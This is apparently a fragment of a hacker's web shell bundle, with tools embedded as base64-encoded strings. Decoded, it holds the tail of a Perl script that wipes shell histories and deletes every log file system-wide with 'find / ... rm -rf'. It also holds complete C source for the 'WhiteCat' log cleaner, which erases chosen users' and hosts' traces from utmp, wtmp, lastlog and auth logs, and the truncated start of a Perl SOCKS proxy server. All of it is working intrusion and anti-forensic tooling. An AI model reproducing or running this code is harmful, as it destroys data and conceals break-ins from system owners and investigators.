CB9CiAgICBlbHNlCiAgICAgIHsKICAgICAgIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzMxbVsqXS9yb290Ly5iYXNoX2hpc3RvcnkgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICAgIGlmKCAtZSAiL3Jvb3QvLmtzaF9oaXN0b3J5IiApCiAgICAgIHsKICAgICAgIHN5c3RlbSAncm0gLXJmIC9yb290Ly5rc2hfaGlzdG9yeSc7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN20gWypdL3Jvb3QvLmtzaF9oaXN0b3J5IC1lcmFzZWQgT2tcIlxuIjsKICAgICAgfQogICAgZWxzZQogICAgICB7CiAgICAgICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszMW1bKl0vcm9vdC8ua3NoX2hpc3RvcnkgLSBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5XFwwMzNbMDE7MzdtXCJcbiI7CiAgICAgIH0KICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN21bK10gLS0tLS1kb25lIGFsbCBkZWZhdWx0IGxvZyBhbmQgYmFzaF9oaXN0b3J5IGZpbGVzIGVyYXNlZCAhIVwiXG4iOwogIHN5c3RlbSAiZWNobyAtZSBcIlwwMzNbMDE7MzRtLS0tLS0tLS0tTm93IEVyYXNpbmcgdGhlIHJlc3Qgb2YgdGhlIG1hY2hpbmUgbG9nIGZpbGVzIChjYW4gYmUgbG9uZyA6UyktLS0tLS0tLS1cMDMzWzAxOzM3bVwiXG4iOwogIHN5c3RlbSAnZmluZCAvIC1uYW1lICouYmFzaF9oaXN0b3J5IC1leGVjIHJtIC1yZiB7fSBcOyc7CiAgc3lzdGVtICJlY2hvIC1lIFwiXFwwMzNbMDE7MzdtWypdIGFsbCAqLmJhc2hfaGlzdG9yeSBmaWxlcyAtZXJhc2VkIE9rIVwiXG4iOwogIHN5c3RlbSAnZmluZCAvIC1uYW1lICouYmFzaF9sb2dvdXQgLWV4ZWMgcm0gLXJmIHt9IFw7JzsKICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN21bKl0gYWxsICouYmFzaF9sb2dvdXQgZmlsZXMgLWVyYXNlZCBPayFcIlxuIjsKICBzeXN0ZW0gJ2ZpbmQgLyAtbmFtZSAibG9nKiIgLWV4ZWMgcm0gLXJmIHt9IFw7JzsKICBzeXN0ZW0gImVjaG8gLWUgXCJcXDAzM1swMTszN21bKl0gYWxsIGxvZyogZmlsZXMgLWVyYXNlZCBPayFcIlxuIjsKICBzeXN0ZW0gJ2ZpbmQgLyAtbmFtZSAqLmxvZyAtZXhlYyBybSAtcmYge30gXDsnOwogIHN5c3RlbSAiZWNobyAtZSBcIlxcMDMzWzAxOzM3bVsqXSBhbGwgKi5sb2cgZmlsZXMgLWVyYXNlZCBPayFcIlxuIjsKICBzeXN0ZW0gImVjaG8gLWUgXCJcMDMzWzAxOzM0bS0tLS0tLS1bK10gIWRvbmUgYWxsIGxvZyBmaWxlcyBlcmFzZWQhWytdLS0tLS0tLVwwMzNbMDE7MzdtXCJcbiI7CiAgc3lzdGVtICJlY2hvIC1lIFwiXDAzM1swMTszNG0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cMDMzWzAxOzM3bVwiXG4iOwogIHN5c3RlbSAiZWNobyAtZSBcIlwwMzNbMDE7MzRtLS0tLS0tLS0tLS0tLS0tLS1NU1JtbCBWIDAuMS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cMDMzWzAxOzM3bVwiXG4iOwoKCg==";
$log_c="LyoKICogIFRoaXMgaXMgV2hpdGVDYXQgbG9nY2xlYW5lciB2ZXJzaW9uIDEuMCBieSBTaGFkT1MgZnJvbSBIZWxsIEtuaWdodHMgQ3Jldy4KICogIEl0IHN1cHBvcnRzIHBlcmwgY29tcGF0aWJsZSByZWd1bGFyIGV4cHJlc3Npb25zIGFuZCBjbGVhbnMgYW55IGJpbmFyeSBhbmQgCiAqICB0ZXh0IGxvZyBmaWxlcyAoanVzdCBjb3JyZWN0IHNvdXJjZSBhIGxpdHRsZSkuIFdoaXRlQ2F0IGlzIGRlc2lnbmVkIGZvciAKICogIGFueSBVTklYLWxpa2Ugc3lzdGVtLCBidXQgdGVzdGVkIG9ubHkgb24gTGludXguIERpc3RyaWJ1dGVkIHVuZGVyIEdQTHYyLiAKICogIFVzZSBpdCBvbmx5IGZvciBlZHVjYXRpb25hbCBwdXJwb3NlLiAKICogIERvbid0IGZvcmdldCB0byB2aXNpdCBvdXIgc2l0ZSBhbmQgbXkgaG9tZXBhZ2UgZm9yIG5ldyByZWxlYXNlczoKICogIGh0dHA6Ly9oZWxsa25pZ2h0cy52b2lkLnJ1CiAqICBodHRwOi8vc2hhZG9zLjB4NDhrLmNjCiAqICBBbHNvLCB5b3UgY2FuIG1haWwgbWUgYW55IGJ1Z3Mgb3Igc3VnZ2VzdGlvbnM6CiAqICBtYWlsdG86c2hhZG9zIC9cLi9cIHJlYWwueGFrZXAucnUgCiAqICBtYWlsdG86c2hhZG9zIC9cLi9cIDB4NDhrLmNjCiAqCiAqICBDb3B5cmlnaHQgKEMpIDg5LCA5MCwgOTEsIDE5OTUtMjAwNyBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24uCiAqCiAqICBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeQogKiAgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNoZWQgYnkKICogIHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlciB2ZXJzaW9uIDIsIG9yIChhdCB5b3VyIG9wdGlvbikKICogIGFueSBsYXRlciB2ZXJzaW9uLgogKgogKiAgVGhpcyBwcm9ncmFtIGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCiAqICBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgogKiAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZQogKiAgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9yIG1vcmUgZGV0YWlscy4KICoKICogIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlCiAqICBhbG9uZyB3aXRoIHRoaXMgcHJvZ3JhbTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLAogKiAgSW5jLiwgNTEgRnJhbmtsaW4gU3RyZWV0LCBGaWZ0aCBGbG9vciwgQm9zdG9uLCBNQSAwMjExMC0xMzAxLCBVU0EuICAKICovIAojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPGVycm5vLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHV0bXAuaD4KI2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgojaW5jbHVkZSA8cHdkLmg+CiNpbmNsdWRlIDxsYXN0bG9nLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPHJlZ2V4Lmg+CiNpbmNsdWRlIDxsaW1pdHMuaD4gLyogZm9yIFBBVEhfTUFYICovCiNpbmNsdWRlIDxnZXRvcHQuaD4KCgojaWZuZGVmIFVUTVBfRklMRQogICAgI2RlZmluZSBVVE1QX0ZJTEUgIi92YXIvcnVuL3V0bXAiCiNlbmRpZiAgICAKI2lmbmRlZiBXVE1QX0ZJTEUKICAgICNkZWZpbmUgV1RNUF9GSUxFICIvdmFyL2xvZy93dG1wIgojZW5kaWYKCi8vbW9kaWZ5IHBhcmFtZXRycyBhcyBpbiB5b3VyIGJveCA7KQojZGVmaW5lIEJUTVBfRklMRSAiL3Zhci9sb2cvYnRtcCIKI2RlZmluZSBMQVNUTE9HX0ZJTEUgIi92YXIvbG9nL2xhc3Rsb2ciCiNkZWZpbmUgTUVTU0FHRVNfRklMRSAiL3Zhci9sb2cvbWVzc2FnZXMiCiNkZWZpbmUgU0VDVVJFX0ZJTEUgIi92YXIvbG9nL2F1dGgubG9nIgoKI2RlZmluZSBNQVhCVUZGIDgqMTAyNAoKI2RlZmluZSBQUk9HUkFNX05BTUUgIldoaXRlQ2F0IGxvZ2NsZWFuZXIiCiNkZWZpbmUgUFJPR1JBTV9WRVJTSU9OIDEuMAojZGVmaW5lIEFVVEhPUiAiU2hhZDBTIFtIZWxsIEtuaWdodHMgQ3Jld10iCgpjaGFyICpteW5hbWU7ICAgICAgICAgICAgICAgICAgICAgLyogZm9yIGVycm9yIG1lc3NhZ2VzICovCmludCBkb19pZ25vcmVjYXNlID0gMDsgICAgICAgICAgICAvKiAtaSBvcHRpb246IGlnbm9yZSBjYXNlICovCmludCBkb19leHRlbmRlZCAgID0gMDsgICAgICAgICAgICAvKiAtRSBvcHRpb246IHVzZSBleHRlbmRlZCBSRSdzICovCmludCBkb191c2VybmFtZQkgID0gMDsKaW50IGRvX2hvc3RuYW1lCSAgPSAwOwppbnQgZG9fdHR5CSAgPSAwOwppbnQgZXJyb3JzICAgICAgICA9IDA7ICAgICAgICAgICAgLyogbnVtYmVyIG9mIGVycm9ycyAqLwoKLyogcGF0dGVybnMgdG8gbWF0Y2ggKi8KcmVnZXhfdCB1c2VybmFtZTsKcmVnZXhfdCBob3N0bmFtZTsKcmVnZXhfdCB0dHk7Cgp2b2lkIGNvcHlfdG1wKGNoYXIgKmRzdGZpbGVuYW1lLCBjaGFyICp0bXBmaWxlbmFtZSk7CnZvaWQgY2xlYXJfdGV4dGxvZyhjaGFyICpmaWxlbmFtZSk7CnZvaWQgY2xlYXJfdXdidG1wKGNoYXIgKmZpbGVuYW1lKTsKdm9pZCBjbGVhcl9sYXN0bG9nIChjaGFyICpmaWxlbmFtZSk7CnJlZ2V4X3QgY29tcGlsZV9wYXR0ZXJuKGNvbnN0IGNoYXIgKnBhdCk7CmludCBwcm9jZXNzX3JlZ2V4cChyZWdleF90ICpwYXR0ZXJuLCBjaGFyICpidWYsIHNpemVfdCBzaXplKTsKdm9pZCB1c2FnZSh2b2lkKTsKdm9pZCB2ZXJzaW9uKHZvaWQpOwoKaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkKewogIG15bmFtZSA9IGFyZ3ZbMF07CiAgCiAgY2hhciBjOwogIAogIHN0cnVjdCBvcHRpb24gbG9uZ29wdHNbXT17CiAgeyAidXNlciIsICAgCXJlcXVpcmVkX2FyZ3VtZW50LCAmZG9fdXNlcm5hbWUsICAgJ3UnfSwKICB7ICJ0dHkiLCAgICAJcmVxdWlyZWRfYXJndW1lbnQsICZkb190dHksIAkgICAndCd9LAogIHsgImhvc3RuYW1lIiwgcmVxdWlyZWRfYXJndW1lbnQsICZkb19ob3N0bmFtZSwgICAnYSd9LAogIHsgImV4dGVuZGVkIiwgbm9fYXJndW1lbnQsICAgICAgICZkb19leHRlbmRlZCwgICAnZSd9LAogIHsgImlnbm9yZSIsICAgbm9fYXJndW1lbnQsICAgICAgICZkb19pZ25vcmVjYXNlLCAnaSd9LAogIHsgImhlbHAiLAlub19hcmd1bWVudCwJICAgTlVMTCwgCSAgICdoJ30sCiAgeyAidmVyc2lvbiIsICBub19hcmd1bWVudCwJICAgTlVMTCwJICAgJ1YnfSwKICB7IDAsIDAsIDAsIDAgfQogIH07CiAKICBpZiAoKGFyZ2MgPCAyKSB8fCAoYXJnYyA+IDE4KSkgewogICAgdmVyc2lvbigpOwogICAgdXNhZ2UoKTsKICB9CiAgCiAgd2hpbGUgKChjPWdldG9wdF9sb25nKGFyZ2MsYXJndiwidTp0OmE6cmVpaFZXOyIsbG9uZ29wdHMsTlVMTCkpICE9IC0xKSB7CiAgICBzd2l0Y2ggKGMpIHsKICAgIGNhc2UgJ3UnOgogICAgICB1c2VybmFtZSA9IGNvbXBpbGVfcGF0dGVybihvcHRhcmcpOwogICAgICBpZiAoZXJyb3JzKSB1c2FnZSgpOyAvL2NvbXBpbGUgZmFpbGVkCiAgICAgIGRvX3VzZXJuYW1lPTE7CiAgICAgIGJyZWFrOwogICAgY2FzZSAndCc6CiAgICAgIHR0eSA9IGNvbXBpbGVfcGF0dGVybihvcHRhcmcpOwogICAgICBpZiAoZXJyb3JzKSB1c2FnZSgpOyAvL2NvbXBpbGUgZmFpbGVkCiAgICAgIGRvX3R0eT0xOwogICAgICBicmVhazsKICAgIGNhc2UgJ2EnOgogICAgICBob3N0bmFtZSA9IGNvbXBpbGVfcGF0dGVybihvcHRhcmcpOwogICAgICBpZiAoZXJyb3JzKSB1c2FnZSgpOyAvL2NvbXBpbGUgZmFpbGVkCiAgICAgIGRvX2hvc3RuYW1lPTE7CQogICAgICBicmVhazsKICAgIGNhc2UgJ2UnOgogICAgICBkb19leHRlbmRlZCA9IDE7CiAgICAgIGJyZWFrOyAgCiAgICBjYXNlICdpJzoKICAgICAgZG9faWdub3JlY2FzZSA9IDE7CiAgICAgIGJyZWFrOwogICAgY2FzZSAnaCc6CiAgICAgIHZlcnNpb24oKTsKICAgICAgdXNhZ2UoKTsgIAogICAgY2FzZSAnVic6CiAgICAgIHZlcnNpb24oKTsKICAgICAgZXhpdCgwKTsKICAgICAgYnJlYWs7CiAgICBjYXNlIDA6CiAgICAgIGJyZWFrOwogICAgY2FzZSAnOic6CiAgICAgIGZwcmludGYoc3RkZXJyLCAiJXM6IG9wdGlvbiAnLSVjJyByZXF1aXJlcyBhbiBhcmd1bWVudFxuIiwKICAgICAgICAgICAgICAgICAgICAgIG15bmFtZSwgb3B0b3B0KTsKICAgICAgdXNhZ2UoKTsJCSAgICAgIAogICAgY2FzZSAnPyc6CiAgICBkZWZhdWx0OgogICAgICBmcHJpbnRmKHN0ZGVyciwgIiVzOiBvcHRpb24gJy0lYycgaXMgaW52YWxpZDogaWdub3JlZFxuIiwKICAgICAgICAgICAgICAgICAgICAgIG15bmFtZSwgb3B0b3B0KTsKICAgICAgdXNhZ2UoKTsgCiAgICB9ICAKICB9CiAgCiAgLy9zYW5pdHkgY2hlY2sKICBpZiAoIWRvX3VzZXJuYW1lICYmICFkb190dHkgJiYgIWRvX2hvc3RuYW1lKXsKICAgIGZwcmludGYoc3RkZXJyLCAiJXM6IGRpZG4ndCBmb3VuZCBhbnkgcGFyYW1ldHIgdG8gY2xlYW4gKHVzZXJuYW1lLCBob3N0bmFtZSwgdHR5KSFcbiIsCgkJICAgIG15bmFtZSk7CiAgICB1c2FnZSgpOwogIH0gICAgCgogIGNsZWFyX3V3YnRtcChVVE1QX0ZJTEUpOwogIHByaW50ZigidXRtcCBjbGVhbmluZyBcdFx0IFwwMzNbMW1bIE9LIF1cMDMzWzBtXG4iKTsKICBjbGVhcl91d2J0bXAoV1RNUF9GSUxFKTsKICBwcmludGYoInd0bXAgY2xlYW5pbmcgXHRcdCBcMDMzWzFtWyBPSyBdXDAzM1swbVxuIik7CiAgY2xlYXJfdXdidG1wKEJUTVBfRklMRSk7CiAgcHJpbnRmKCJidG1wIGNsZWFuaW5nIFx0XHQgXDAzM1sxbVsgT0sgXVwwMzNbMG1cbiIpOwogIGNsZWFyX2xhc3Rsb2coTEFTVExPR19GSUxFKTsKICBwcmludGYoImxhc3Rsb2cgY2xlYW5pbmcgXHQgXDAzM1sxbVsgT0sgXVwwMzNbMG1cbiIpOwogIGNsZWFyX3RleHRsb2coTUVTU0FHRVNfRklMRSk7CiAgcHJpbnRmKCJtZXNzYWdlcyBjbGVhbmluZyBcdCBcMDMzWzFtWyBPSyBdXDAzM1swbVxuIik7CiAgY2xlYXJfdGV4dGxvZyhTRUNVUkVfRklMRSk7CiAgcHJpbnRmKCJzZWN1cmUgY2xlYW5pbmcgXHQgXDAzM1sxbVsgT0sgXVwwMzNbMG1cbiIpOwogIAogIHJldHVybiAwOwp9CgovKiByZXBsYWNlIGxvZ2ZpbGUgd2l0aCB0ZW1wZmlsZSAqLwp2b2lkIGNvcHlfdG1wKGNoYXIgKmRzdGZpbGVuYW1lLCBjaGFyICp0bXBmaWxlbmFtZSkKewogIGNoYXIgYnVmZmVyW0JVRlNJWl07CgogIHNwcmludGYoYnVmZmVyLCAiY2F0ICVzID4gJXMiLCB0bXBmaWxlbmFtZSwgZHN0ZmlsZW5hbWUpOwogIHByaW50ZigiJXNcbiIsIGJ1ZmZlcik7CgogIGlmIChzeXN0ZW0oYnVmZmVyKSA8IDApIHsKICAgIHByaW50ZigiRXJyb3IgY29weWluZyBmcm9tIHRlbXBmaWxlISIpOwogICAgZXhpdCgtMSk7CiAgfQoKICB1bmxpbmsodG1wZmlsZW5hbWUpOwp9CgoKLyogY2xlYW51cCBwbGFpbnRleHQgbG9nZmlsZXMgKi8Kdm9pZCBjbGVhcl90ZXh0bG9nKGNoYXIgKmZpbGVuYW1lKQp7CiAgY2hhciBidWZ0bXBbTUFYQlVGRl07CiAgRklMRSAqZmQ7CiAgaW50IGZkdG1wOwogIGludCBmb3VuZCA9IDA7CiAgc3RhdGljIGNoYXIgdGVtcGxhdGVbXSA9ICIvdG1wL3RtcGZpbGVYWFhYWFgiOwogIGNoYXIgZnRtcG5hbWVbUEFUSF9NQVhdOwoKICBpZiAoIChmZCA9IGZvcGVuKGZpbGVuYW1lLCAiciIpKSA9PSAwKSB7CiAgICBwZXJyb3IoZmlsZW5hbWUpOwogICAgZXhpdCgtMSk7CiAgfQoKICBzdHJjcHkoZnRtcG5hbWUsIHRlbXBsYXRlKTsKICBmZHRtcCA9IG1rc3RlbXAoZnRtcG5hbWUpOwogIAogIHdoaWxlIChmZ2V0cyhidWZ0bXAsIE1BWEJVRkYsIGZkKSAhPSBOVUxMKQogIHsKICAgIGlmIChkb19ob3N0bmFtZSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmaG9zdG5hbWUsIGJ1ZnRtcCwgc2l6ZW9mKGJ1ZnRtcCkpOyAgICAgIAogICAgaWYgKGRvX3VzZXJuYW1lKSBmb3VuZCA9IHByb2Nlc3NfcmVnZXhwKCZ1c2VybmFtZSwgYnVmdG1wLCBzaXplb2YoYnVmdG1wKSk7IAogICAgaWYgKGRvX3R0eSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmdHR5LCBidWZ0bXAsIHNpemVvZihidWZ0bXApKTsgCQkKICAgIGlmICghZm91bmQpIHdyaXRlKGZkdG1wLCAmYnVmdG1wLCBzaXplb2YoYnVmdG1wKSk7CiAgICBmb3VuZCA9IDA7CiAgfQoKICBmY2xvc2UoZmQpOwogIGNsb3NlKGZkdG1wKTsKCiAgY29weV90bXAoZmlsZW5hbWUsIGZ0bXBuYW1lKTsKfQoKCi8qIGNsZWFudXAgYmluYXJ5IGxvZyBlbnRyaWVzICovCnZvaWQgY2xlYXJfdXdidG1wKGNoYXIgKmZpbGVuYW1lKQp7CiAgc3RydWN0IHV0bXAgZW50cnk7CiAgaW50IGZkOwogIGludCBmZHRtcDsKICBpbnQgZm91bmQgPSAwOwogIHN0YXRpYyBjaGFyIHRlbXBsYXRlW10gPSAiL3RtcC90bXBmaWxlWFhYWFhYIjsKICBjaGFyIGZ0bXBuYW1lW1BBVEhfTUFYXTsKCiAgaWYgKCAoZmQgPSBvcGVuKGZpbGVuYW1lLCBPX1JET05MWSkpID09IC0xKSB7CiAgICBwZXJyb3IoZmlsZW5hbWUpOwogICAgZXhpdCgtMSk7CiAgfQogIAogIHN0cmNweShmdG1wbmFtZSwgdGVtcGxhdGUpOwogIGZkdG1wID0gbWtzdGVtcChmdG1wbmFtZSk7CiAgCiAgd2hpbGUgKHJlYWQoZmQsICZlbnRyeSwgc2l6ZW9mKHN0cnVjdCB1dG1wKSkgPiAwKQogIHsKICAgIGlmIChkb19ob3N0bmFtZSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmaG9zdG5hbWUsIGVudHJ5LnV0X2hvc3QsIHNpemVvZihlbnRyeS51dF9ob3N0KSk7CiAgICBpZiAoZG9fdXNlcm5hbWUpIGZvdW5kID0gcHJvY2Vzc19yZWdleHAoJnVzZXJuYW1lLCBlbnRyeS51dF91c2VyLCBzaXplb2YoZW50cnkudXRfdXNlcikpOwogICAgaWYgKGRvX3R0eSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmdHR5LCBlbnRyeS51dF9saW5lLCBzaXplb2YoZW50cnkudXRfbGluZSkpOwogICAgaWYgKCFmb3VuZCkgd3JpdGUoZmR0bXAsICZlbnRyeSwgc2l6ZW9mKHN0cnVjdCB1dG1wKSk7CiAgICBmb3VuZCA9IDA7CiAgfQoKICBjbG9zZShmZCk7CiAgY2xvc2UoZmR0bXApOwogIAogIGNvcHlfdG1wKGZpbGVuYW1lLCBmdG1wbmFtZSk7Cn0KCgovKiBjbGVhbnVwIGxhc3Rsb2cgYmluYXJ5IGZpbGUgd2l0aCBob2xlcyAqLwp2b2lkIGNsZWFyX2xhc3Rsb2cgKGNoYXIgKmZpbGVuYW1lKQp7CiAgc3RydWN0IHBhc3N3ZCAqcHdkOwogIHN0cnVjdCBsYXN0bG9nIGVudHJ5OwogIGludCB1aWQgPSAwOwogIGludCBmb3VuZCA9IDA7CiAgaW50IGZkOwoKICBpZiAoIChmZCA9IG9wZW4oZmlsZW5hbWUsIE9fUkRXUikpIDwgMCkgewogICAgICBwZXJyb3IoZmlsZW5hbWUpOwogICAgICBleGl0KC0xKTsKICB9CiAgCiAgLyogc2V0IHBvc2l0aW9uIHRvIHRoZSBiZWdpbm5pbmcgb2YgdGhlIGZpbGUgKi8KICBsc2VlayhmZCwgKG9mZl90KSAwLCBTRUVLX1NFVCk7CiAgd2hpbGUgKHJlYWQoZmQsICZlbnRyeSwgc2l6ZW9mKHN0cnVjdCBsYXN0bG9nKSkgPiAwKQogIHsKCWlmIChkb191c2VybmFtZSkgewoJCWlmICgocHdkID0gZ2V0cHd1aWQodWlkKSkhPU5VTEwpCQoJCQlmb3VuZCA9IHByb2Nlc3NfcmVnZXhwKCZ1c2VybmFtZSwgcHdkLT5wd19uYW1lLCBzaXplb2YocHdkLT5wd19uYW1lKSk7IAoJCXVpZCsrOwoJfQogICAgICAgIGlmIChkb19ob3N0bmFtZSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmaG9zdG5hbWUsIGVudHJ5LmxsX2hvc3QsIHNpemVvZihlbnRyeS5sbF9ob3N0KSk7CiAgICAgICAgaWYgKGRvX3R0eSkgZm91bmQgPSBwcm9jZXNzX3JlZ2V4cCgmdHR5LCBlbnRyeS5sbF9saW5lLCBzaXplb2YoZW50cnkubGxfbGluZSkpOyAKCWlmIChmb3VuZCkKCXsKCQlsc2VlayhmZCwgLShvZmZfdClzaXplb2Yoc3RydWN0IGxhc3Rsb2cpLCBTRUVLX0NVUik7CgkJLy9YWFggaXMgdGhpcyAzIGxpbmVzIGNvcnJlY3Q/CgkJZW50cnkubGxfdGltZSA9IDA7CgkJc3RyY3B5IChlbnRyeS5sbF9saW5lLCAiICIpOwoJCXN0cm5jcHkgKGVudHJ5LmxsX2hvc3QsICIgICAgICIsIDUpOwoJCWZvdW5kID0gMDsKCX0KCXdyaXRlIChmZCwgJmVudHJ5LCBzaXplb2Yoc3RydWN0IGxhc3Rsb2cpKTsKICAgICAgICAgIAkJCiAgfSAgCiAgY2xvc2UoZmQpOwp9CgoKLyogY29tcGlsZSB0aGUgcmVnZXggcGF0dGVybiAqLwpyZWdleF90IGNvbXBpbGVfcGF0dGVybihjb25zdCBjaGFyICpwYXQpCnsKICAgICAgICBpbnQgZmxhZ3MgPSBSRUdfTk9TVUI7ICAvKiBkb24ndCBuZWVkIHdoZXJlLW1hdGNoZWQgaW5mbyAqLwogICAgICAgIGludCByZXQ7CglyZWdleF90IHBhdHRlcm47CiNkZWZpbmUgTVNHQlVGU0laRSAgICAgIDUxMiAgICAgLyogYXJiaXRyYXJ5ICovCiAgICAgICAgY2hhciBlcnJvcltNU0dCVUZTSVpFXTsKCiAgICAgICAgaWYgKGRvX2lnbm9yZWNhc2UpCiAgICAgICAgICAgICAgICBmbGFncyB8PSBSRUdfSUNBU0U7CiAgICAgICAgaWYgKGRvX2V4dGVuZGVkKQogICAgICAgICAgICAgICAgZmxhZ3MgfD0gUkVHX0VYVEVOREVEOwoKICAgICAgICByZXQgPSByZWdjb21wKCZwYXR0ZXJuLCBwYXQsIGZsYWdzKTsKICAgICAgICBpZiAocmV0ICE9IDApIHsKICAgICAgICAgICAgICAgICh2b2lkKSByZWdlcnJvcihyZXQsICZwYXR0ZXJuLCBlcnJvciwgc2l6ZW9mIGVycm9yKTsKICAgICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCAiJXM6IHBhdHRlcm4gYCVzJzogJXNcbiIsIG15bmFtZSwgcGF0LCBlcnJvcik7CiAgICAgICAgICAgICAgICBlcnJvcnMrKzsKICAgICAgICB9CgllbHNlCgkJcmV0dXJuIHBhdHRlcm47Cn0KCgovKiBwcm9jZXNzIHJlZ3VsYXIgZXhwcmVzc2lvbiAqLwppbnQgcHJvY2Vzc19yZWdleHAocmVnZXhfdCAqcGF0dGVybiwgY2hhciAqYnVmLCBzaXplX3Qgc2l6ZSkKewoJY2hhciBlcnJvcltNU0dCVUZTSVpFXTsKCWludCByZXQ7CgoJaWYgKChyZXQgPSByZWdleGVjKHBhdHRlcm4sIGJ1ZiwgMCwgTlVMTCwgMCkpICE9IDApIHsKCQlpZiAocmV0ICE9IFJFR19OT01BVENIKSB7CgkJCSh2b2lkKSByZWdlcnJvcihyZXQsIHBhdHRlcm4sIGVycm9yLCBzaXplb2YgZXJyb3IpOwoJCQlmcHJpbnRmKHN0ZGVyciwgIiVzOiAlc1xuIiwgbXluYW1lLCBlcnJvcik7CgkJCWVycm9ycysrOwoJCQlyZXR1cm4gMDsKCQl9CgkJcmV0dXJuIDA7Cgl9IAoJZWxzZQoJCXJldHVybiAxOwkKfQoKCi8qIHByaW50IHVzYWdlIG1lc3NhZ2UgYW5kIGV4aXQgd2l0aCAweDQ4ayBzdGF0dXMgKi8Kdm9pZCB1c2FnZSh2b2lkKQp7CiAgICBwcmludGYoIlVzYWdlOlxuIik7CiAgICBwcmludGYoIlx0ICVzIFstdSB1c2VyXSBbLXQgdHR5XSBbLWEgaG9zdG5hbWV8aXBhZGRyXSBbT1BUSU9OU11cbiIsIG15bmFtZSk7CiAgICBwcmludGYoIk9QVElPTlM6XG4iKTsKICAgIHByaW50ZigiXHQgLWkgLS1pZ25vcmUgXHQgaWdub3JlIGNhc2UgaW4gcmVnZXhwc1xuIik7CiAgICBwcmludGYoIlx0IC1lIC0tZXh0ZW5kZWQgXHQgdXNlIGV4dGVuZGVkIHJlZ2V4cHNcbiIpOwogICAgcHJpbnRmKCJcdCAtViAtLXZlcnNpb24gXHQgc2hvdyB2ZXJzaW9uIGluZm8gYW5kIGV4aXRcbiIpOwogICAgcHJpbnRmKCJcdCAtaCAtLWhlbHAgXHQgc2hvdyB0aGlzIGhlbHAgc2NyZWVuIGFuZCBleGl0XG4iKTsKICAgIHByaW50ZigiXG4iKTsKICAgIGV4aXQoMHg0OCk7Cn0KCi8qIHByaW50IHZlcnNpb24gaW5mb3JtYXRpb24gKi8Kdm9pZCB2ZXJzaW9uKHZvaWQpCnsKICAgIGZwcmludGYoc3Rkb3V0LCAiXHQgPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuIik7IAogICAgZnByaW50ZihzdGRvdXQsICJcdCA9IFwwMzNbMW0lcyAlMS4xZiBieSAlcywgMjAwNy5cMDMzWzBtID1cbiIsIFBST0dSQU1fTkFNRSwgUFJPR1JBTV9WRVJTSU9OLCBBVVRIT1IpOwogICAgZnByaW50ZihzdGRvdXQsICJcdCA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG4iKTsgCn0KCg==";
$stnc="IyEvdXNyL2Jpbi9wZXJsCgojICAgICAgICAgICAgICAgICAgICAgU2F0YW5pYyBTb2NrcyBTZXJ2ZXIgdjAuOC4wMzEyMDYtcGVybAojICAgIFRoaXMgc2NyaXB0IGlzIHByaXZhdGUuIE9ubHkgZm9yIFNhVGFOaUMgdGVhbSBhbmQgZnJpZW5kcy4gTm90IGZvciBzYWxlLgojICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvZGVkIGJ5IGRybWlzdC9TVE5DLCB3ZWI6IHd3dy5zdG5jLnJ1LgoKJGF1dGhfZW5hYmxlZCA9IDA7CiRhdXRoX2xvZ2luID0gInVzZXIiOwokYXV0aF9wYXNzID0gInBhc3MiOwokcG9ydCA9IDMwMDM7Cgp1c2UgSU86OlNvY2tldDo6SU5FVDsKCiRTSUd7J0NITEQnfSA9ICdJR05PUkUnOwokYmluZCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhMaXN0ZW49PjEwLCBSZXVzZT0+MSwgTG9jYWxQb3J0PT4kcG9ydCkg